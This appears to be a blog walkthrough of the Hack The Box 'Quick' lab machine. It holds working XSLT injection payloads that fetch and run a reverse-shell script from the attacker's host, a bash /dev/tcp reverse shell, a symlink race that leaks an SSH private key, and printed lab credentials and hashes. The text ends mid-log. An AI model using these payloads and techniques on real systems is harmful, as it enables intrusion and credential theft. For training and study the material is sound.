Hack The Box Write-Up Quick - 10.10.10.186
Be quick to learn and wise to know.
George Burns
About Quick
In this post, I’m writing a write-up for the machine Quick from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Quick is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20 and submitting the root flag you points will be raised by 40.
Foothold
After the port scan, I discovered two open ports. Only the SSH port 22/tcp
and HTTP on 9001/tcp
are the open ports on this box. After the investigation of the web service, I found out that the name of the box reveals the first hint. The hint to QUIC. After the compilation of curl to get support for HTTP/3, I was able to do GET
requests to the webserver. Through the requests, I was able to get a PDF-document with a password. For the username, I have created a wordlist from the combination of the testimonials section from the webpage and the client page. With this wordlist, I have brute-forced the username and password combination with the use of Burp Suite.
User
With the user account [email protected]
I got access to the portal. Through this account, I was able to create support tickets. With Burp Suite I found that this webserver is running Esigate. Through a known vulnerability in this application, I was able to an XSS through XSLT attack to get a Reverse Shell on this box as the user sam
.
From this user, I have to move to the user srvadm
. This one was tough for me. I found that there was a second web service was running on this box; a printer server. From analyzing the code I know that only the username [email protected]
is an accepted user name to login. I added this user to the MySQL database, along with the already existed [email protected]
user account, only for the newly added account, I used the hash from the account [email protected]
. Now, I can log in to the Printer Server.
Through analyzing the code for the printer jobs, I added a printer and points the IP-address of the printer to my box. I used the port 9100
and started a netcat session on my machine. Through a bash script, I replaced the job with a script that is printing the private key of srvadm to my netcat session. With this private key, I was able to create an SSH session as the user srvadm.
Root This part was not the most difficult part of the box. I found an URL encoded password of the root user account in one of the log files. Decoded this password, and created an SSH session.
Rooting this box was quite a journey. This is my first ‘Hard’ Linux machine on Hack The Box for me. Are you ready? Let’s start.
Machine Info
Machine Name: | Quick |
Difficulty: | Hard |
Points: | 40 |
Release Date: | 07 Nov 2020 |
IP: | 10.10.10.x |
Creator: |
Recon
Port scan with Nmap
As always I start my recon with an Nmap port scan.
1
~$ nmap -sC -sV -oA ./nmap/quick.txt 10.10.10.186
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 16:57 EDT
Nmap scan report for 10.10.10.186
Host is up (0.044s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.62 seconds
There are two open ports:
22/tcp
(SSH)9001/tcp
(HTTP)
Enumeration
Web Server
I start by enumerating the webserver. I visited the web service on port 9001/tcp
, http://10.10.10.186:9001
. I landed on a website about new broadband services in JetSpeed. It looks like the administrators of this website are upgrading the security of the portal.
The Get Started
button goes to the login portal of the ticket system. I do not have any credentials yet.
When I go back to the homepage and clicks on the portal
link, it leads me to the URL https://portal.quick.htb/
with an error: Server not found
. I added the hostname portal.quick.htb
to my hosts file and tried again, now on port 9001/tcp
. Bingo, the error message is changing.
This error message is interesting. It seems that there is a configuration error on the web server, or there is something else running also on port 9001
. I tried to capture the traffic with WireShark, but nothing useful in the TCP stream. I also tried Burp Suite, nothing useful.
What’s in the name?
It has taken me a few hours for trying, searching around on this box to get the foothold. But nothing. Then I have to take a step back. Quick
. The name of this box is Quick
. Maybe that’s a hint in the right direction? And so it turns out to be a hint. I searched on the internet for this word and found this Wikipedia article: https://en.wikipedia.org/wiki/QUIC. A quote from Wikipedia.
1
Transmission Control Protocol, or TCP, aims to provide an interface for sending streams of data between two endpoints. Data is handed to the TCP system, which ensures the data makes it to the other end in exactly the same form, or the connection will indicate that an error condition exists.
I wasn’t aware that the protocol QUIC
even exists. It seems that there are running two protocols on this port. Nmap
shows the default one protocol.
curl compilation
I tried with curl if I can get some information from the box with the use of the –http3
flag. It seems curl isn’t supporting HTTP/3
.
1
2
3
~$ curl --http3 https://portal.quick.htb:9001
curl: option --http3: the installed libcurl version doesn't support this
curl: try 'curl --help' or 'curl --manual' for more information
I checked on Google and I found a Github repository (https://github.com/curl/curl/blob/master/docs/HTTP3.md) with a curl version that is supporting HTTP/3
. I need to do the compilation manually. I’ve to build curl
with the quiche version. For clarity, I’ve gone through the following steps to compile curl.
I’ve read down the steps and found that I’m missing some requirements. I invoked the commands below.
1
2
3
4
~$ apt-get install cmake
~$ apt-get install cargo
~$ apt-get install autoconf
~$ apt-get install libtool
The second step is to clone the quiche and BoringSSL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
~$ git clone --recursive https://github.com/cloudflare/quiche
Cloning into 'quiche'...
remote: Enumerating objects: 140, done.
remote: Counting objects: 100% (140/140), done.
remote: Compressing objects: 100% (97/97), done.
remote: Total 7863 (delta 70), reused 85 (delta 39), pack-reused 7723
Receiving objects: 100% (7863/7863), 13.69 MiB | 1.77 MiB/s, done.
Resolving deltas: 100% (4967/4967), done.
Submodule 'boringssl' (https://github.com/google/boringssl.git) registered for path 'deps/boringssl'
Cloning into '/home/htb/boxes/machines/quick/quiche/deps/boringssl'...
remote: Enumerating objects: 103, done.
remote: Counting objects: 100% (103/103), done.
remote: Compressing objects: 100% (66/66), done.
remote: Total 75371 (delta 51), reused 66 (delta 36), pack-reused 75268
Receiving objects: 100% (75371/75371), 119.56 MiB | 1.68 MiB/s, done.
Resolving deltas: 100% (53464/53464), done.
Submodule path 'deps/boringssl': checked out '1e859054c31ec7b974e998373e85fadea56d93ad'
Build BoringSSL (it needs to be built manually so it can be reused with curl
):
1
2
3
4
5
6
7
8
9
~$ cd quiche/deps/boringssl
~$ mkdir build
~$ cd build
~$ cmake -DCMAKE_POSITION_INDEPENDENT_CODE=on ..
~$ make
~$ cd ..
~$ mkdir -p .openssl/lib
~$ cp build/crypto/libcrypto.a build/ssl/libssl.a .openssl/lib
~$ ln -s $PWD/include .openssl
Build quiche.
1
2
~$ cd ../..
~$ QUICHE_BSSL_PATH=$PWD/deps/boringssl cargo build --release --features pkg-config-meta
Build curl
.
1
2
3
4
5
6
7
~$ cd ..
~$ git clone https://github.com/curl/curl
~$ cd curl
~$ ./buildconf
~$ ./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-ssl=$PWD/../quiche/deps/boringssl/.openssl --with-quiche=$PWD/../quiche/target/release --enable-alt-svc
~$ make
~$ make install
Now, curl is supporting HTTP/3 and I can do my request to the server with HTTP/3
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
~$ curl --http3 https://portal.quick.htb/
<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
ul {
list-style-type: none;
margin: 0;
padding: 0;
width: 200px;
background-color: #f1f1f1;
}
li a {
display: block;
color: #000;
padding: 8px 16px;
text-decoration: none;
}
/* Change the link color on hover */
li a:hover {
background-color: #555;
color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="index.php?view=contact">Contact</a></li>
<li><a href="index.php?view=about">About</a></li>
<li><a href="index.php?view=docs">References</a></li>
</ul>
</html>
And I got a response. There are three hyperlinks visible in the HTML-content. The last one ‘References’ seems to be interesting. Let’s check this hyperlink.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~$ curl --http3 https://portal.quick.htb/index.php?view=docs
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<h1>Quick | References</h1>
<ul>
<li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
<li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>
There are two PDF-files on this page. With curl I downloaded both of them.
~$ curl --http3 https://portal.quick.htb/docs/Connectivity.pdf --output ../Connectivity.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 83830 100 83830 0 0 238k 0 --:--:-- --:--:-- --:--:-- 237k
$ curl --http3 https://portal.quick.htb/docs/QuickStart.pdf --output ./QuickStart.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 228k 100 228k 0 0 560k 0 --:--:-- --:--:-- --:--:-- 560k
Connectivity.pdf
In this document, I found this password: Quick4cc3$$
.
QuickStart.pdf This file contains not any useful info. It says that we have to, it says
1
2
If something goes wrong, raise a ticket on our support portal. We provide the best support via
chat too if you are not satisfied with our ticketing system.
Gaining Access
Ticket portal
I have a password but do not have a username yet. On the homepage, I found a Testimonials section and at the bottom of the homepage there is a hyperlink which leads to the clients page.
When I put these two pieces together, I can create a list of potential usernames. I created the list below.
1
2
3
4
5
6
7
8
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
james@lazycoop
The next step is to try the username and password combination with Burp Suite, with the use of Burp’s Intruder. I have configured the Cluster bomb attack and bingo! I got a match in the username and password combination.
I can now log in with the the username [email protected]
and the password Quick4cc3$$
.
After logging in on the Ticket Portal there is an option to raise a ticket and search for created tickets. As it is visible in the screenshot for brute-forcing this web server is running Esigate version 4.5.2
. I searched online for this combination and I found that there is a known vulnerability for this particular version of Esigate.
Exploitation
XSS through XSLT
On August 20th in 2018, the company Gosecure found a Java Remote Code Execution vulnerability in Esigate 4.5.2. The exploitation of this vulnerability can be done by XSLT content injection, which leads to an XSS vulnerability. For more information, check this blog post: https://www.gosecure.net/blog/2019/07/03/java-remote-code-execution-potpourri/.
I raised a case with a random title and message. With Burp Suit I’ve sent my request to the repeater in burp Suit and changed the ‘msg’ param to this payload.
This payload is the execution a JavaScript code which is showing a message popup on execution.
1
2
3
4
5
xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>
Instead, of using the search bar, I filled in directly the query in the URL bar to search for my ticket with the payload, I entered this URL in the search bar: http://10.10.10.186:9001/search.php?search=TKT-1695. The payload got executed.
Ok, I’ve now found the vulnerability in Esigate and I’ve found a way to use this to my advantage. The next step is to modify the payload, so that I can drop a malicious script on the box with an Reverse Shell.
Reverse Shell as sam
This part of this box was a difficult one for me. And I admit, I’ve had some help taking this step. I’ve tried to drop a malicious script with a Reverse Shell on this box. The first execution of my script was working, but… the second one ends up on a 404 error message. The file couldn’t be found on my HTTP server. Troubleshooting this has taken me some time, it ends up that I’ve to change the file name, it is not possible to overwrite the existing file. This sounds so obvious, that I overlooked this part. So, remember: Change the name of the file, when you want to drop this file for the second time on this box.
Ok, I’ve created my payload to put my malicious code with the reverse shell on this box. This is my payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[curl 10.10.14.18/t13nn3s_shell -o /tmp/t13nn3s_shell]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
After running the first payload, my reverse shell file is placed in /tmp/t13nn3s_shell
. This file contains a simple bash script for establishing my shell.
1
bash -i >& /dev/tcp/10.10.14.18/4444 0>&1
The second payload is needed to execute this file for establishing the shell. On my machine is started a listener My second payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[bash /tmp/t13nn3s_shell]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
Execute the payload through Burp Suite.
1
<esi:include src="" stylesheet="http://10.10.14.33/revshell1.xsl"></esi:include>
My first payload which is dropping the Reverse Shell file to the box is, being downloaded to the machine.
1
2
3
4
~$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.186 - - [09/Jul/2020 07:05:53] "GET /revshell.xsl HTTP/1.1" 200 -
10.10.10.186 - - [09/Jul/2020 07:05:53] "GET /t13nn3s_shell HTTP/1.1" 200 -
I have renamed my payload to revshell2.xsl
and changed the command in the msg
box to this line below.
1
<esi:include src="" stylesheet="http://10.10.14.33/revshell2.xsl"></esi:include>
After running the second payload I got a reverse shell as the user account sam
. I directly upgraded the shell to a full shell and checked if there are more users listed on this machine. And, indeed, there is a second user called srvadm
. I need to jump to this user.
1
2
3
4
5
6
7
8
9
sam@quick:~$ hostname && whoami
hostname && whoami
quick
sam
sam@quick:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
sam@quick:~$ cd /home
sam@quick:/home$ ls
sam srvadm
sam@quick:/home$
Lateral Movement
From sam to srvadm
I downloaded pspy
to this box and run this file, from the results I can see that there us MySQL running on this box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sam@quick:~$ ./pspy
...
2020/05/05 09:15:58 CMD: UID=65534 PID=2079 | nginx: worker process
2020/05/05 09:15:58 CMD: UID=1000 PID=20360 | /bin/bash
2020/05/05 09:15:58 CMD: UID=1000 PID=20359 | python3 -c import pty;pty.spawn("/bin/bash")
2020/05/05 09:15:58 CMD: UID=1000 PID=20340 | bash -i
2020/05/05 09:15:58 CMD: UID=1000 PID=20338 | bash /tmp/t13nn3s_shell
2020/05/05 09:15:58 CMD: UID=0 PID=20227 |
2020/05/05 09:15:58 CMD: UID=0 PID=20210 |
2020/05/05 09:15:58 CMD: UID=0 PID=20163 |
2020/05/05 09:15:58 CMD: UID=0 PID=20 |
2020/05/05 09:15:58 CMD: UID=0 PID=2 |
2020/05/05 09:15:58 CMD: UID=33 PID=19980 | /usr/sbin/apache2 -k start
2020/05/05 09:15:58 CMD: UID=0 PID=1990 | nginx: master process /usr/local/nginx/sbin/nginx -g daemon off;
2020/05/05 09:15:58 CMD: UID=0 PID=1988 | php-fpm: master process (/usr/local/etc/php-fpm.conf)
2020/05/05 09:15:58 CMD: UID=0 PID=1933 | containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f78e2c79d2db3e029679c14060e7dcab4ffbba2167c107a7677f81024e8bc875 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
2020/05/05 09:15:58 CMD: UID=0 PID=1932 | containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/d63025c3f05b572471c86c790059b05f36c75fc90d975cb19288d5bc88d238ee -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
2020/05/05 09:15:58 CMD: UID=0 PID=193 |
2020/05/05 09:15:58 CMD: UID=0 PID=1922 | /usr/bin/docker-proxy -proto udp -host-ip 0.0.0.0 -host-port 443 -container-ip 172.18.0.3 -container-port 443
2020/05/05 09:15:58 CMD: UID=0 PID=19 |
2020/05/05 09:15:58 CMD: UID=0 PID=18 |
2020/05/05 09:15:58 CMD: UID=0 PID=177 |
2020/05/05 09:15:58 CMD: UID=0 PID=175 |
2020/05/05 09:15:58 CMD: UID=0 PID=174 |
2020/05/05 09:15:58 CMD: UID=0 PID=16 |
2020/05/05 09:15:58 CMD: UID=0 PID=15 |
2020/05/05 09:15:58 CMD: UID=0 PID=1437 | /usr/sbin/apache2 -k start
2020/05/05 09:15:58 CMD: UID=0 PID=14 |
2020/05/05 09:15:58 CMD: UID=0 PID=13 |
2020/05/05 09:15:58 CMD: UID=111 PID=1279 | /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
2020/05/05 09:15:58 CMD: UID=0 PID=122 |
2020/05/05 09:15:58 CMD: UID=0 PID=12 |
2020/05/05 09:15:58 CMD: UID=0 PID=1134 | /usr/sbin/sshd -D
2020/05/05 09:15:58 CMD: UID=0 PID=11 |
2020/05/05 09:15:58 CMD: UID=1000 PID=1099 | /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
2020/05/05 09:15:58 CMD: UID=0 PID=1081 | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
2020/05/05 09:15:58 CMD: UID=0 PID=1053 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2020/05/05 09:15:58 CMD: UID=0 PID=105 |
2020/05/05 09:15:58 CMD: UID=1000 PID=1032 | /bin/sh -c /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
2020/05/05 09:15:58 CMD: UID=0 PID=10 |
2020/05/05 09:15:58 CMD: UID=0 PID=1 | /sbin/init auto automatic-ubiquity noprompt
2020/05/05 09:16:01 CMD: UID=0 PID=21930 | /usr/sbin/CRON -f
2020/05/05 09:17:01 CMD: UID=??? PID=21940 | ???
2020/05/05 09:17:01 CMD: UID=??? PID=21938 | ???
2020/05/05 09:17:01 CMD: UID=0 PID=21936 |
...
I’ve run the default enumeration scripts as LinPeas.sh
and LinEnum.sh
, but they are not finding something useful. So, I have to look into the files. From the file /var/www/html/login.php
, I found something interesting in the header. This file is creating a connection to the database and is including the db.php
for the credentials to the database.
1
sam@quick:/var/www/html$ cat login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));
$stmt=$conn->prepare("select email,password from users where email=? and password=?");
$stmt->bind_param("ss",$email,$password);
$stmt->execute();
$result = $stmt->get_result();
$num_rows = $result->num_rows;
if($num_rows > 0)
{
session_start();
$_SESSION["loggedin"]=$email;
header("location: home.php");
}
else
{
echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';
}
}
else
{“ file=”/var/www/html/login.php”}
I checked the /var/www/html/db.php
file and I found the login credentials to the MySQL database.
1
2
sam@quick:/var/www/html$ cat db.php
cat db.php
1
2
3
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
I have checked some other PHP-files, but I have not found anything interesting so far. As I got the full permission on the MySQL database, so I queried the database to dump all of the users listed in the users
table. I found the name of this table in the login.php
file.
1
2
3
4
5
mysql -udb_adm -pdb_p4ss quick -e "select * from users"
mysql: [Warning] Using a password on the command line interface can be insecure.
name email password
Elisa [email protected] c6c35ae1f3cb19438e0199cfa72a9d9d
Server Admin [email protected] e626d51f8fbfd1124fdea88396c35d05
Tried to crack this hash, but was not able to, but after stuck hours on the decryption. I decided to look further on this machine and I found an extra web service in the directory /var/www/printer
.
1
2
3
4
5
6
7
8
9
10
cd /etc/apache2/sites-enabled
sam@quick:/etc/apache2/sites-enabled$ cat 000-default.conf
...
</VirtualHost>
<VirtualHost *:80>
AssignUserId srvadm srvadm
ServerName printerv2.quick.htb
DocumentRoot /var/www/printer
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
I added the host printerv2.quick.htb
to my /etc/hosts
file and checked the page http://printerv2.quick.htb:9001
.
I was not able to login with the user credentials I already got, so I looked further into the PHP-files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sam@quick:/var/www/printer$ ls
ls
add_printer.php
css
db.php
escpos-php
favicon.ico
fonts
home.php
images
index.php
job.php
printers.php
sam@quick:/var/www/printer$
Checked the /var/www/printers/index.php
, here I found something interesting. This file is looking for a username in particular. Only the username [email protected]
is allowed to login, otherwise it will drop an Invalid Credentials
error.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sam@quick:/var/www/printer$ cat index.php
cat index.php
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));
$stmt=$conn->prepare("select email,password from users where email=? and password=?");
$stmt->bind_param("ss",$email,$password);
$stmt->execute();
$result = $stmt->get_result();
$num_rows = $result->num_rows;
if($num_rows > 0 && $email === "[email protected]")
{
session_start();
$_SESSION["loggedin"]=$email;
header("location: home.php");
}
else
{
echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
}
I have to put the information together. I got full control of a MySQL-database, found the user account with the hashed passwords. Try to reverse the password with reverse engineering, but I was not successful. Second, I found an extra web service with a login page which is only accepting the username [email protected]
as a valid user.
I tried to add the user account [email protected]
again to the MySQL-database and now with the password hash of the user [email protected]
.
1
2
3
4
5
6
7
8
9
sam@quick:/var/www/printer$ mysql -udb_adm -pdb_p4ss quick -e "insert into users (name,email,password) values ('Server Admin','[email protected]','c6c35ae1f3cb19438e0199cfa72a9d9d')"
sam@quick:/var/www/printer$ mysql -udb_adm -pdb_p4ss quick -e "select * from users"
<l -udb_adm -pdb_p4ss quick -e "select * from users"
mysql: [Warning] Using a password on the command line interface can be insecure.
name email password
Elisa [email protected] c6c35ae1f3cb19438e0199cfa72a9d9d
Server Admin [email protected] e626d51f8fbfd1124fdea88396c35d05
tiennes [email protected] c6c35ae1f3cb19438e0199cfa72a9d9d
sam@quick:/var/www/printer$
I can now login the box with [email protected]. After the login I found that I can add network printers.
To know what my next step will be, I have analyzed the code of job.php
. I found that this code is putting a file in the /var/www/jobs
directory and print out the job and remove the job. And this all takes 0.5 second…
1
sam@quick:/var/www/printer$ cat job.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();
if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
$row=$result->fetch_assoc();
$ip=$row["ip"];
$port=$row["port"];
try
{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
catch(Exception $error)
{
$error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
As the printer is a device, which can talk over TCP, I have enabled an extra netcat session on my box with the listener port 9001/tcp
. From Affix, I received this script. I placed this script in the /var/www/jobs
directory. This script is replacing any contents in the /var/www/jobs
with this file, the software is picking up this file and prints it out. As this file grabbed the private key from the srvadm user account I’m able to make a connection through SSH.
1
2
3
4
5
6
7
8
while [[ true ]]
do
files=`ls | grep -v printer`
if [[ $files != "" ]] ; then
rm -f "$files"
ln -s /home/srvadm/.ssh/id_rsa ./$files
fi
done
From the portal, I added the printer with this settings.
When I go to the Printers
page and click on the jobs icon, the script is doing his work and the private key of srvadm got’s printed out on my listening netcat session on 9001/tcp
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MBP-from-t13nn3s:quick t13nn3s$ netcat -lvvp 9100
Listening on any address 9100 (hp-pdl-datastr)
Connection from 10.10.10.186:51518
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY
DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd
whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i
hRiQlakwPlsHy2am1O+smg0214HMyQQdn7lE9QIDAQABAoIBAG2zSKQkvxgjdeiI
ok/kcR5ns1wApagfHEFHxAxo8vFaN/m5QlQRa4H4lI/7y00mizi5CzFC3oVYtbum
Y5FXwagzZntxZegWQ9xb9Uy+X8sr6yIIGM5El75iroETpYhjvoFBSuedeOpwcaR+
DlritBg8rFKLQFrR0ysZqVKaLMmRxPutqvhd1vOZDO4R/8ZMKggFnPC03AkgXkp3
j8+ktSPW6THykwGnHXY/vkMAS2H3dBhmecA/Ks6V8h5htvybhDLuUMd++K6Fqo/B
H14kq+y0Vfjs37vcNR5G7E+7hNw3zv5N8uchP23TZn2MynsujZ3TwbwOV5pw/CxO
9nb7BSECgYEA5hMD4QRo35OwM/LCu5XCJjGardhHn83OIPUEmVePJ1SGCam6oxvc
bAA5n83ERMXpDmE4I7y3CNrd9DS/uUae9q4CN/5gjEcc9Z1E81U64v7+H8VK3rue
F6PinFsdov50tWJbxSYr0dIktSuUUPZrR+in5SOzP77kxZL4QtRE710CgYEAz+It
T/TMzWbl+9uLAyanQObr5gD1UmG5fdYcutTB+8JOXGKFDIyY+oVMwoU1jzk7KUtw
8MzyuG8D1icVysRXHU8btn5t1l51RXu0HsBmJ9LaySWFRbNt9bc7FErajJr8Dakj
b4gu9IKHcGchN2akH3KZ6lz/ayIAxFtadrTMinkCgYEAxpZzKq6btx/LX4uS+kdx
pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa
GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c
Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip
LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/
2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o
x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3
+DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
-----END RSA PRIVATE KEY-----
VATotal received bytes: 1685
I can now create an SSH session as the user srvadm
, the next step is to gain root privileges.
Privilege Escalation
SSH session as srvadm
After I have established an SSH connection with the user account srvadm
, I checked the files in the home directory. There are some hidden files, and I checked the /.cache/logs/cups.log
file and I found the URL-encoded password of the root user.
1
srvadm@quick:~/.cache/logs$ cat cups.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
09:33:45 : envp[1]="CUPS_CACHEDIR=/var/cache/cups"
09:33:45 : envp[2]="CUPS_DATADIR=/nix/store/5pwy8d9k4z6jp8n944nr8kf9lxihkg9w-cups-progs/share/cups"
09:33:45 : envp[3]="CUPS_DOCROOT=/nix/store/xjbig53iqwiwj05q0z4im2hxg571kzxz-cups-2.1.4/share/doc/cups"
09:33:45 : envp[4]="CUPS_FONTPATH=/nix/store/xjbig53iqwiwj05q0z4im2hxg571kzxz-cups-2.1.4/share/cups/fonts"
09:33:45 : envp[5]="CUPS_REQUESTROOT=/var/spool/cups"
09:33:45 : envp[6]="CUPS_SERVERBIN=/nix/store/5pwy8d9k4z6jp8n944nr8kf9lxihkg9w-cups-progs/lib/cups"
09:33:45 : envp[7]="CUPS_SERVERROOT=/etc/cups"
09:33:45 : envp[8]="CUPS_STATEDIR=/var/run/cups"
09:33:45 : envp[9]="HOME=/tmp"
09:33:45 : envp[10]="SERVER_ADMIN=root@quick"
09:33:45 : envp[11]="SOFTWARE=CUPS/2.1.4"
09:33:45 : envp[12]="TMPDIR=/tmp"
09:33:45 : envp[13]="USER=root"
09:33:45 : envp[14]="CUPS_MAX_MESSAGE=2047"
09:33:45 : envp[15]="CUPS_SERVER=/var/run/cups/cups.sock"
